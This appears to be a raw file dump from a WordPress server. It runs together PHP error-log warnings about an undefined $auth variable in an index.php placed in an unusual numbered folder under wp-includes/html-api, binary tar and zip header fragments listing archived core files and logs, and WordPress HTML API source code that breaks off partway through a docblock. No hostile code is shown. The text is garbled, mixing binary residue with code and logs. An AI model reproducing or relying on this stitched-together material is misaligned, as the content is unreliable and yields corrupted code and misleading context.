[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\�KW�gg�Gerror_log.tar.gznu�[���PKgN\T7��[["nJclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#Pclass-wp-html-tag-processor.php.tarnu�[���PKgN\�>��JJ
n�index.php.tarnu�[���PKgN\�Wy%��class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d�index.php.php.tar.gznu�[���PKgN\��|Kb�b�*�jclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��class-wp-html-token.php.tarnu�[���PKgN\�,�n�n�	�error_lognu�[���PKgN\�A�&��class-wp-html-text-replacement.php.tarnu�[���PK

��PKE�N\���HHclass-wp-html-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-processor.php000064400000640677151440300410023002 0ustar00<?php
/**
 * HTML API: WP_HTML_Processor class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used to safely parse and modify an HTML document.
 *
 * The HTML Processor class properly parses and modifies HTML5 documents.
 *
 * It supports a subset of the HTML5 specification, and when it encounters
 * unsupported markup, it aborts early to avoid unintentionally breaking
 * the document. The HTML Processor should never break an HTML document.
 *
 * While the `WP_HTML_Tag_Processor` is a valuable tool for modifying
 * attributes on individual HTML tags, the HTML Processor is more capable
 * and useful for the following operations:
 *
 *  - Querying based on nested HTML structure.
 *
 * Eventually the HTML Processor will also support:
 *  - Wrapping a tag in surrounding HTML.
 *  - Unwrapping a tag by removing its parent.
 *  - Inserting and removing nodes.
 *  - Reading and changing inner content.
 *  - Navigating up or around HTML structure.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *   1. Call a static creator method with your input HTML document.
 *   2. Find the location in the document you are looking for.
 *   3. Request changes to the document at that location.
 *
 * Example:
 *
 *     $processor = WP_HTML_Processor::create_fragment( $html );
 *     if ( $processor->next_tag( array( 'breadcrumbs' => array( 'DIV', 'FIGURE', 'IMG' ) ) ) ) {
 *         $processor->add_class( 'responsive-image' );
 *     }
 *
 * #### Breadcrumbs
 *
 * Breadcrumbs represent the stack of open elements from the root
 * of the document or fragment down to the currently-matched node,
 * if one is currently selected. Call WP_HTML_Processor::get_breadcrumbs()
 * to inspect the breadcrumbs for a matched tag.
 *
 * Breadcrumbs can specify nested HTML structure and are equivalent
 * to a CSS selector comprising tag names separated by the child
 * combinator, such as "DIV > FIGURE > IMG".
 *
 * Since all elements find themselves inside a full HTML document
 * when parsed, the return value from `get_breadcrumbs()` will always
 * contain any implicit outermost elements. For example, when parsing
 * with `create_fragment()` in the `BODY` context (the default), any
 * tag in the given HTML document will contain `array( 'HTML', 'BODY', … )`
 * in its breadcrumbs.
 *
 * Despite containing the implied outermost elements in their breadcrumbs,
 * tags may be found with the shortest-matching breadcrumb query. That is,
 * `array( 'IMG' )` matches all IMG elements and `array( 'P', 'IMG' )`
 * matches all IMG elements directly inside a P element. To ensure that no
 * partial matches erroneously match it's possible to specify in a query
 * the full breadcrumb match all the way down from the root HTML element.
 *
 * Example:
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //               ----- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'IMG' ) ) );
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //                                  ---- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'FIGCAPTION', 'EM' ) ) );
 *
 *     $html = '<div><img></div><img>';
 *     //                       ----- Matches here, because IMG must be a direct child of the implicit BODY.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'BODY', 'IMG' ) ) );
 *
 * ## HTML Support
 *
 * This class implements a small part of the HTML5 specification.
 * It's designed to operate within its support and abort early whenever
 * encountering circumstances it can't properly handle. This is
 * the principle way in which this class remains as simple as possible
 * without cutting corners and breaking compliance.
 *
 * ### Supported elements
 *
 * If any unsupported element appears in the HTML input the HTML Processor
 * will abort early and stop all processing. This draconian measure ensures
 * that the HTML Processor won't break any HTML it doesn't fully understand.
 *
 * The HTML Processor supports all elements other than a specific set:
 *
 *  - Any element inside a TABLE.
 *  - Any element inside foreign content, including SVG and MATH.
 *  - Any element outside the IN BODY insertion mode, e.g. doctype declarations, meta, links.
 *
 * ### Supported markup
 *
 * Some kinds of non-normative HTML involve reconstruction of formatting elements and
 * re-parenting of mis-nested elements. For example, a DIV tag found inside a TABLE
 * may in fact belong _before_ the table in the DOM. If the HTML Processor encounters
 * such a case it will stop processing.
 *
 * The following list illustrates some common examples of unexpected HTML inputs that
 * the HTML Processor properly parses and represents:
 *
 *  - HTML with optional tags omitted, e.g. `<p>one<p>two`.
 *  - HTML with unexpected tag closers, e.g. `<p>one </span> more</p>`.
 *  - Non-void tags with self-closing flag, e.g. `<div/>the DIV is still open.</div>`.
 *  - Heading elements which close open heading elements of another level, e.g. `<h1>Closed by </h2>`.
 *  - Elements containing text that looks like other tags but isn't, e.g. `<title>The <img> is plaintext</title>`.
 *  - SCRIPT and STYLE tags containing text that looks like HTML but isn't, e.g. `<script>document.write('<p>Hi</p>');</script>`.
 *  - SCRIPT content which has been escaped, e.g. `<script><!-- document.write('<script>console.log("hi")</script>') --></script>`.
 *
 * ### Unsupported Features
 *
 * This parser does not report parse errors.
 *
 * Normally, when additional HTML or BODY tags are encountered in a document, if there
 * are any additional attributes on them that aren't found on the previous elements,
 * the existing HTML and BODY elements adopt those missing attribute values. This
 * parser does not add those additional attributes.
 *
 * In certain situations, elements are moved to a different part of the document in
 * a process called "adoption" and "fostering." Because the nodes move to a location
 * in the document that the parser had already processed, this parser does not support
 * these situations and will bail.
 *
 * @since 6.4.0
 *
 * @see WP_HTML_Tag_Processor
 * @see https://html.spec.whatwg.org/
 */
class WP_HTML_Processor extends WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at any given time.
	 *
	 * HTML processing requires more bookmarks than basic tag processing,
	 * so this class constant from the Tag Processor is overwritten.
	 *
	 * @since 6.4.0
	 *
	 * @var int
	 */
	const MAX_BOOKMARKS = 100;

	/**
	 * Holds the working state of the parser, including the stack of
	 * open elements and the stack of active formatting elements.
	 *
	 * Initialized in the constructor.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Processor_State
	 */
	private $state;

	/**
	 * Used to create unique bookmark names.
	 *
	 * This class sets a bookmark for every tag in the HTML document that it encounters.
	 * The bookmark name is auto-generated and increments, starting with `1`. These are
	 * internal bookmarks and are automatically released when the referring WP_HTML_Token
	 * goes out of scope and is garbage-collected.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::$release_internal_bookmark_on_destruct
	 *
	 * @var int
	 */
	private $bookmark_counter = 0;

	/**
	 * Stores an explanation for why something failed, if it did.
	 *
	 * @see self::get_last_error
	 *
	 * @since 6.4.0
	 *
	 * @var string|null
	 */
	private $last_error = null;

	/**
	 * Stores context for why the parser bailed on unsupported HTML, if it did.
	 *
	 * @see self::get_unsupported_exception
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Unsupported_Exception|null
	 */
	private $unsupported_exception = null;

	/**
	 * Releases a bookmark when PHP garbage-collects its wrapping WP_HTML_Token instance.
	 *
	 * This function is created inside the class constructor so that it can be passed to
	 * the stack of open elements and the stack of active formatting elements without
	 * exposing it as a public method on the class.
	 *
	 * @since 6.4.0
	 *
	 * @var Closure|null
	 */
	private $release_internal_bookmark_on_destruct = null;

	/**
	 * Stores stack events which arise during parsing of the
	 * HTML document, which will then supply the "match" events.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event[]
	 */
	private $element_queue = array();

	/**
	 * Stores the current breadcrumbs.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	private $breadcrumbs = array();

	/**
	 * Current stack event, if set, representing a matched token.
	 *
	 * Because the parser may internally point to a place further along in a document
	 * than the nodes which have already been processed (some "virtual" nodes may have
	 * appeared while scanning the HTML document), this will point at the "current" node
	 * being processed. It comes from the front of the element queue.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event|null
	 */
	private $current_element = null;

	/**
	 * Context node if created as a fragment parser.
	 *
	 * @var WP_HTML_Token|null
	 */
	private $context_node = null;

	/*
	 * Public Interface Functions
	 */

	/**
	 * Creates an HTML processor in the fragment parsing mode.
	 *
	 * Use this for cases where you are processing chunks of HTML that
	 * will be found within a bigger HTML document, such as rendered
	 * block output that exists within a post, `the_content` inside a
	 * rendered site layout.
	 *
	 * Fragment parsing occurs within a context, which is an HTML element
	 * that the document will eventually be placed in. It becomes important
	 * when special elements have different rules than others, such as inside
	 * a TEXTAREA or a TITLE tag where things that look like tags are text,
	 * or inside a SCRIPT tag where things that look like HTML syntax are JS.
	 *
	 * The context value should be a representation of the tag into which the
	 * HTML is found. For most cases this will be the body element. The HTML
	 * form is provided because a context element may have attributes that
	 * impact the parse, such as with a SCRIPT tag and its `type` attribute.
	 *
	 * ## Current HTML Support
	 *
	 *  - The only supported context is `<body>`, which is the default value.
	 *  - The only supported document encoding is `UTF-8`, which is the default value.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Returns `static` instead of `self` so it can create subclass instances.
	 *
	 * @param string $html     Input HTML fragment to process.
	 * @param string $context  Context element for the fragment, must be default of `<body>`.
	 * @param string $encoding Text encoding of the document; must be default of 'UTF-8'.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_fragment( $html, $context = '<body>', $encoding = 'UTF-8' ) {
		if ( '<body>' !== $context || 'UTF-8' !== $encoding ) {
			return null;
		}

		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$context_processor = static::create_full_parser( "<!DOCTYPE html>{$context}", $encoding );
		if ( null === $context_processor ) {
			return null;
		}

		while ( $context_processor->next_tag() ) {
			if ( ! $context_processor->is_virtual() ) {
				$context_processor->set_bookmark( 'final_node' );
			}
		}

		if (
			! $context_processor->has_bookmark( 'final_node' ) ||
			! $context_processor->seek( 'final_node' )
		) {
			_doing_it_wrong( __METHOD__, __( 'No valid context element was detected.' ), '6.8.0' );
			return null;
		}

		return $context_processor->create_fragment_at_current_node( $html );
	}

	/**
	 * Creates an HTML processor in the full parsing mode.
	 *
	 * It's likely that a fragment parser is more appropriate, unless sending an
	 * entire HTML document from start to finish. Consider a fragment parser with
	 * a context node of `<body>`.
	 *
	 * UTF-8 is the only allowed encoding. If working with a document that
	 * isn't UTF-8, first convert the document to UTF-8, then pass in the
	 * converted HTML.
	 *
	 * @param string      $html                    Input HTML document to process.
	 * @param string|null $known_definite_encoding Optional. If provided, specifies the charset used
	 *                                             in the input byte stream. Currently must be UTF-8.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_full_parser( $html, $known_definite_encoding = 'UTF-8' ) {
		if ( 'UTF-8' !== $known_definite_encoding ) {
			return null;
		}
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$processor                             = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );
		$processor->state->encoding            = $known_definite_encoding;
		$processor->state->encoding_confidence = 'certain';

		return $processor;
	}

	/**
	 * Constructor.
	 *
	 * Do not use this method. Use the static creator methods instead.
	 *
	 * @access private
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::create_fragment()
	 *
	 * @param string      $html                                  HTML to process.
	 * @param string|null $use_the_static_create_methods_instead This constructor should not be called manually.
	 */
	public function __construct( $html, $use_the_static_create_methods_instead = null ) {
		parent::__construct( $html );

		if ( self::CONSTRUCTOR_UNLOCK_CODE !== $use_the_static_create_methods_instead ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: WP_HTML_Processor::create_fragment(). */
					__( 'Call %s to create an HTML Processor instead of calling the constructor directly.' ),
					'<code>WP_HTML_Processor::create_fragment()</code>'
				),
				'6.4.0'
			);
		}

		$this->state = new WP_HTML_Processor_State();

		$this->state->stack_of_open_elements->set_push_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::PUSH, $provenance );

				$this->change_parsing_namespace( $token->integration_node_type ? 'html' : $token->namespace );
			}
		);

		$this->state->stack_of_open_elements->set_pop_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || ! $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::POP, $provenance );

				$adjusted_current_node = $this->get_adjusted_current_node();

				if ( $adjusted_current_node ) {
					$this->change_parsing_namespace( $adjusted_current_node->integration_node_type ? 'html' : $adjusted_current_node->namespace );
				} else {
					$this->change_parsing_namespace( 'html' );
				}
			}
		);

		/*
		 * Create this wrapper so that it's possible to pass
		 * a private method into WP_HTML_Token classes without
		 * exposing it to any public API.
		 */
		$this->release_internal_bookmark_on_destruct = function ( string $name ): void {
			parent::release_bookmark( $name );
		};
	}

	/**
	 * Creates a fragment processor at the current node.
	 *
	 * HTML Fragment parsing always happens with a context node. HTML Fragment Processors can be
	 * instantiated with a `BODY` context node via `WP_HTML_Processor::create_fragment( $html )`.
	 *
	 * The context node may impact how a fragment of HTML is parsed. For example, consider the HTML
	 * fragment `<td />Inside TD?</td>`.
	 *
	 * A BODY context node will produce the following tree:
	 *
	 *     └─#text Inside TD?
	 *
	 * Notice that the `<td>` tags are completely ignored.
	 *
	 * Compare that with an SVG context node that produces the following tree:
	 *
	 *     ├─svg:td
	 *     └─#text Inside TD?
	 *
	 * Here, a `td` node in the `svg` namespace is created, and its self-closing flag is respected.
	 * This is a peculiarity of parsing HTML in foreign content like SVG.
	 *
	 * Finally, consider the tree produced with a TABLE context node:
	 *
	 *     └─TBODY
	 *       └─TR
	 *         └─TD
	 *           └─#text Inside TD?
	 *
	 * These examples demonstrate how important the context node may be when processing an HTML
	 * fragment. Special care must be taken when processing fragments that are expected to appear
	 * in specific contexts. SVG and TABLE are good examples, but there are others.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#html-fragment-parsing-algorithm
	 *
	 * @since 6.8.0
	 *
	 * @param string $html Input HTML fragment to process.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	private function create_fragment_at_current_node( string $html ) {
		if ( $this->get_token_type() !== '#tag' || $this->is_tag_closer() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The context element must be a start tag.' ),
				'6.8.0'
			);
			return null;
		}

		$tag_name  = $this->current_element->token->node_name;
		$namespace = $this->current_element->token->namespace;

		if ( 'html' === $namespace && self::is_void( $tag_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like INPUT or BR.
					__( 'The context element cannot be a void element, found "%s".' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		/*
		 * Prevent creating fragments at nodes that require a special tokenizer state.
		 * This is unsupported by the HTML Processor.
		 */
		if (
			'html' === $namespace &&
			in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', 'PLAINTEXT' ), true )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like IFRAME or TEXTAREA.
					__( 'The context element "%s" is not supported.' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		$fragment_processor = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );

		$fragment_processor->compat_mode = $this->compat_mode;

		// @todo Create "fake" bookmarks for non-existent but implied nodes.
		$fragment_processor->bookmarks['root-node'] = new WP_HTML_Span( 0, 0 );
		$root_node                                  = new WP_HTML_Token(
			'root-node',
			'HTML',
			false
		);
		$fragment_processor->state->stack_of_open_elements->push( $root_node );

		$fragment_processor->bookmarks['context-node']   = new WP_HTML_Span( 0, 0 );
		$fragment_processor->context_node                = clone $this->current_element->token;
		$fragment_processor->context_node->bookmark_name = 'context-node';
		$fragment_processor->context_node->on_destroy    = null;

		$fragment_processor->breadcrumbs = array( 'HTML', $fragment_processor->context_node->node_name );

		if ( 'TEMPLATE' === $fragment_processor->context_node->node_name ) {
			$fragment_processor->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
		}

		$fragment_processor->reset_insertion_mode_appropriately();

		/*
		 * > Set the parser's form element pointer to the nearest node to the context element that
		 * > is a form element (going straight up the ancestor chain, and including the element
		 * > itself, if it is a form element), if any. (If there is no such form element, the
		 * > form element pointer keeps its initial value, null.)
		 */
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			if ( 'FORM' === $element->node_name && 'html' === $element->namespace ) {
				$fragment_processor->state->form_element                = clone $element;
				$fragment_processor->state->form_element->bookmark_name = null;
				$fragment_processor->state->form_element->on_destroy    = null;
				break;
			}
		}

		$fragment_processor->state->encoding_confidence = 'irrelevant';

		/*
		 * Update the parsing namespace near the end of the process.
		 * This is important so that any push/pop from the stack of open
		 * elements does not change the parsing namespace.
		 */
		$fragment_processor->change_parsing_namespace(
			$this->current_element->token->integration_node_type ? 'html' : $namespace
		);

		return $fragment_processor;
	}

	/**
	 * Stops the parser and terminates its execution when encountering unsupported markup.
	 *
	 * @throws WP_HTML_Unsupported_Exception Halts execution of the parser.
	 *
	 * @since 6.7.0
	 *
	 * @param string $message Explains support is missing in order to parse the current node.
	 */
	private function bail( string $message ) {
		$here  = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$token = substr( $this->html, $here->start, $here->length );

		$open_elements = array();
		foreach ( $this->state->stack_of_open_elements->stack as $item ) {
			$open_elements[] = $item->node_name;
		}

		$active_formats = array();
		foreach ( $this->state->active_formatting_elements->walk_down() as $item ) {
			$active_formats[] = $item->node_name;
		}

		$this->last_error = self::ERROR_UNSUPPORTED;

		$this->unsupported_exception = new WP_HTML_Unsupported_Exception(
			$message,
			$this->state->current_token->node_name,
			$here->start,
			$token,
			$open_elements,
			$active_formats
		);

		throw $this->unsupported_exception;
	}

	/**
	 * Returns the last error, if any.
	 *
	 * Various situations lead to parsing failure but this class will
	 * return `false` in all those cases. To determine why something
	 * failed it's possible to request the last error. This can be
	 * helpful to know to distinguish whether a given tag couldn't
	 * be found or if content in the document caused the processor
	 * to give up and abort processing.
	 *
	 * Example
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<template><strong><button><em><p><em>' );
	 *     false === $processor->next_tag();
	 *     WP_HTML_Processor::ERROR_UNSUPPORTED === $processor->get_last_error();
	 *
	 * @since 6.4.0
	 *
	 * @see self::ERROR_UNSUPPORTED
	 * @see self::ERROR_EXCEEDED_MAX_BOOKMARKS
	 *
	 * @return string|null The last error, if one exists, otherwise null.
	 */
	public function get_last_error(): ?string {
		return $this->last_error;
	}

	/**
	 * Returns context for why the parser aborted due to unsupported HTML, if it did.
	 *
	 * This is meant for debugging purposes, not for production use.
	 *
	 * @since 6.7.0
	 *
	 * @see self::$unsupported_exception
	 *
	 * @return WP_HTML_Unsupported_Exception|null
	 */
	public function get_unsupported_exception() {
		return $this->unsupported_exception;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @todo Support matching the class name and tag name.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Visits all tokens, including virtual ones.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type string      $tag_closers  'visit' to pause at tag closers, 'skip' or unset to only visit openers.
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string[]    $breadcrumbs  DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                                     May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$visit_closers = isset( $query['tag_closers'] ) && 'visit' === $query['tag_closers'];

		if ( null === $query ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		if ( is_string( $query ) ) {
			$query = array( 'breadcrumbs' => array( $query ) );
		}

		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Please pass a query array to this function.' ),
				'6.4.0'
			);
			return false;
		}

		if ( isset( $query['tag_name'] ) ) {
			$query['tag_name'] = strtoupper( $query['tag_name'] );
		}

		$needs_class = ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) )
			? $query['class_name']
			: null;

		if ( ! ( array_key_exists( 'breadcrumbs', $query ) && is_array( $query['breadcrumbs'] ) ) ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( isset( $query['tag_name'] ) && $query['tag_name'] !== $this->get_token_name() ) {
					continue;
				}

				if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		$breadcrumbs  = $query['breadcrumbs'];
		$match_offset = isset( $query['match_offset'] ) ? (int) $query['match_offset'] : 1;

		while ( $match_offset > 0 && $this->next_token() ) {
			if ( '#tag' !== $this->get_token_type() || $this->is_tag_closer() ) {
				continue;
			}

			if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
				continue;
			}

			if ( $this->matches_breadcrumbs( $breadcrumbs ) && 0 === --$match_offset ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * @since 6.5.0 Added for internal support; do not use.
	 * @since 6.7.2 Refactored so subclasses may extend.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->next_visitable_token();
	}

	/**
	 * Ensures internal accounting is maintained for HTML semantic rules while
	 * the underlying Tag Processor class is seeking to a bookmark.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * Note that this method may call itself recursively. This is why it is not
	 * implemented as {@see WP_HTML_Processor::next_token()}, which instead calls
	 * this method similarly to how {@see WP_HTML_Tag_Processor::next_token()}
	 * calls the {@see WP_HTML_Tag_Processor::base_class_next_token()} method.
	 *
	 * @since 6.7.2 Added for internal support.
	 *
	 * @access private
	 *
	 * @return bool
	 */
	private function next_visitable_token(): bool {
		$this->current_element = null;

		if ( isset( $this->last_error ) ) {
			return false;
		}

		/*
		 * Prime the events if there are none.
		 *
		 * @todo In some cases, probably related to the adoption agency
		 *       algorithm, this call to step() doesn't create any new
		 *       events. Calling it again creates them. Figure out why
		 *       this is and if it's inherent or if it's a bug. Looping
		 *       until there are events or until there are no more
		 *       tokens works in the meantime and isn't obviously wrong.
		 */
		if ( empty( $this->element_queue ) && $this->step() ) {
			return $this->next_visitable_token();
		}

		// Process the next event on the queue.
		$this->current_element = array_shift( $this->element_queue );
		if ( ! isset( $this->current_element ) ) {
			// There are no tokens left, so close all remaining open elements.
			while ( $this->state->stack_of_open_elements->pop() ) {
				continue;
			}

			return empty( $this->element_queue ) ? false : $this->next_visitable_token();
		}

		$is_pop = WP_HTML_Stack_Event::POP === $this->current_element->operation;

		/*
		 * The root node only exists in the fragment parser, and closing it
		 * indicates that the parse is complete. Stop before popping it from
		 * the breadcrumbs.
		 */
		if ( 'root-node' === $this->current_element->token->bookmark_name ) {
			return $this->next_visitable_token();
		}

		// Adjust the breadcrumbs for this event.
		if ( $is_pop ) {
			array_pop( $this->breadcrumbs );
		} else {
			$this->breadcrumbs[] = $this->current_element->token->node_name;
		}

		// Avoid sending close events for elements which don't expect a closing.
		if ( $is_pop && ! $this->expects_closer( $this->current_element->token ) ) {
			return $this->next_visitable_token();
		}

		return true;
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return $this->is_virtual()
			? ( WP_HTML_Stack_Event::POP === $this->current_element->operation && '#tag' === $this->get_token_type() )
			: parent::is_tag_closer();
	}

	/**
	 * Indicates if the currently-matched token is virtual, created by a stack operation
	 * while processing HTML, rather than a token found in the HTML text itself.
	 *
	 * @since 6.6.0
	 *
	 * @return bool Whether the current token is virtual.
	 */
	private function is_virtual(): bool {
		return (
			isset( $this->current_element->provenance ) &&
			'virtual' === $this->current_element->provenance
		);
	}

	/**
	 * Indicates if the currently-matched tag matches the given breadcrumbs.
	 *
	 * A "*" represents a single tag wildcard, where any tag matches, but not no tags.
	 *
	 * At some point this function _may_ support a `**` syntax for matching any number
	 * of unspecified tags in the breadcrumb stack. This has been intentionally left
	 * out, however, to keep this function simple and to avoid introducing backtracking,
	 * which could open up surprising performance breakdowns.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><span><figure><img></figure></span></div>' );
	 *     $processor->next_tag( 'img' );
	 *     true  === $processor->matches_breadcrumbs( array( 'figure', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', 'figure', 'img' ) );
